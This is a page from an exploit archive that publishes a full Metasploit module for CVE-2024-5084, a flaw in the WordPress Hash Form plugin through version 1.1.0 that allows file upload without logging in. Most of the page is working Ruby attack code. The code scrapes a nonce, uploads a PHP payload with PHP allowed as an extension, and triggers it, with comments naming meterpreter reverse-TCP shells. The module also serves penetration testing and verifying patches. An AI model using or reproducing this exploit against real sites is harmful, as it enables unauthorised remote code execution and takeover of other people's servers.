exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Hash Form 1.1.0 Remote Code Execution

WordPress Hash Form 1.1.0 Remote Code Execution
Posted Jun 6, 2024
Authored by Valentin Lobstein, Francesco Carlucci | Site metasploit.com

The Hash Form Drag and Drop Form Builder plugin for WordPress suffers from a critical vulnerability due to missing file type validation in the file_upload_action function. This vulnerability exists in all versions up to and including 1.1.0. Unauthenticated attackers can exploit this flaw to upload arbitrary files, including PHP scripts, to the server, potentially allowing for remote code execution on the affected WordPress site. This Metasploit module targets multiple platforms by adapting payload delivery and execution based on the server environment.

tags | exploit, remote, arbitrary, php, code execution
advisories | CVE-2024-5084
SHA-256 | 64b2193d74612e99562b23a4a36b832a46e526be92d5e77374181caa141143e0

WordPress Hash Form 1.1.0 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Payload::Php
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Hash Form Plugin RCE',
'Description' => %q{
The Hash Form – Drag & Drop Form Builder plugin for WordPress suffers from a critical vulnerability
due to missing file type validation in the file_upload_action function. This vulnerability exists
in all versions up to and including 1.1.0. Unauthenticated attackers can exploit this flaw to upload arbitrary
files, including PHP scripts, to the server, potentially allowing for remote code execution on the affected
WordPress site. This module targets multiple platforms by adapting payload delivery and execution based on the
server environment.
},
'Author' => [
'Francesco Carlucci', # Vulnerability discovery
'Valentin Lobstein' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-5084'],
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hash-form/hash-form-drag-drop-form-builder-110-unauthenticated-arbitrary-file-upload-to-remote-code-execution'],
],
'Platform' => ['php', 'unix', 'linux', 'win'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory', {
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell', {
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell', {
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2024-05-23',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end

def check
return CheckCode::Unknown('WordPress does not appear to be online.') unless wordpress_and_online?

plugin_check_code = check_plugin_version_from_readme('hash-form', '1.1.1')

if plugin_check_code.code == CheckCode::Unknown.code
return CheckCode::Unknown('Hash Form plugin does not appear to be installed.')
end

return CheckCode::Detected('Hash Form plugin is installed but the version is unknown.') if plugin_check_code.code == CheckCode::Detected.code

plugin_version = plugin_check_code.details[:version]
return CheckCode::Safe("Hash Form plugin is version: #{plugin_version}, which is not vulnerable.") unless plugin_check_code.code == CheckCode::Appears.code

print_good("Detected Hash Form plugin version: #{plugin_version}")
CheckCode::Appears
end

def exploit
print_status('Attempting to retrieve nonce from the target...')
nonce = get_nonce

fail_with(Failure::NoTarget, 'Failed to retrieve the nonce necessary for file upload. The target may not be vulnerable or the Hash Form plugin might not be active.') unless nonce

print_good("Nonce retrieved: #{nonce}")
print_status('Uploading PHP payload using the retrieved nonce...')

file_url = upload_php_file(nonce)
fail_with(Failure::UnexpectedReply, 'Failed to upload the PHP payload. Check file permissions and server settings.') unless file_url

print_good("PHP payload uploaded successfully to #{file_url}")
trigger_payload(file_url)
end

def get_nonce
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' => {
'action' => 'hashform_preview',
'form' => 1
}
})

return nil unless res && res.code == 200

script_content = res.get_html_document.xpath('//script[@id="frontend-js-extra"]').text
return nil unless script_content

nonce_match = script_content.match(/"ajax_nounce":"([a-f0-9]+)"/)
nonce_match ? nonce_match[1] : nil
end

def php_exec_cmd(encoded_payload)
dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)

shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{encoded_clean_payload}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
END_OF_PHP_CODE

return Rex::Text.compress(shell)
end

def upload_php_file(nonce)
file_content = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
file_name = "#{Rex::Text.rand_text_alpha_lower(8)}.php"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'ctype' => 'application/octet-stream',
'vars_get' => {
'action' => 'hashform_file_upload_action',
'file_uploader_nonce' => nonce,
'allowedExtensions[0]' => 'php',
'sizeLimit' => 1048576,
'qqfile' => file_name
},
'data' => file_content
})

if res && res.code == 200
json_response = res.get_json_document
return json_response['url'] if json_response && json_response['url']
end
nil
end

def trigger_payload(url)
print_status('Triggering the payload...')
uri = URI.parse(url)
send_request_cgi({
'method' => 'GET',
'uri' => uri.path
})
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close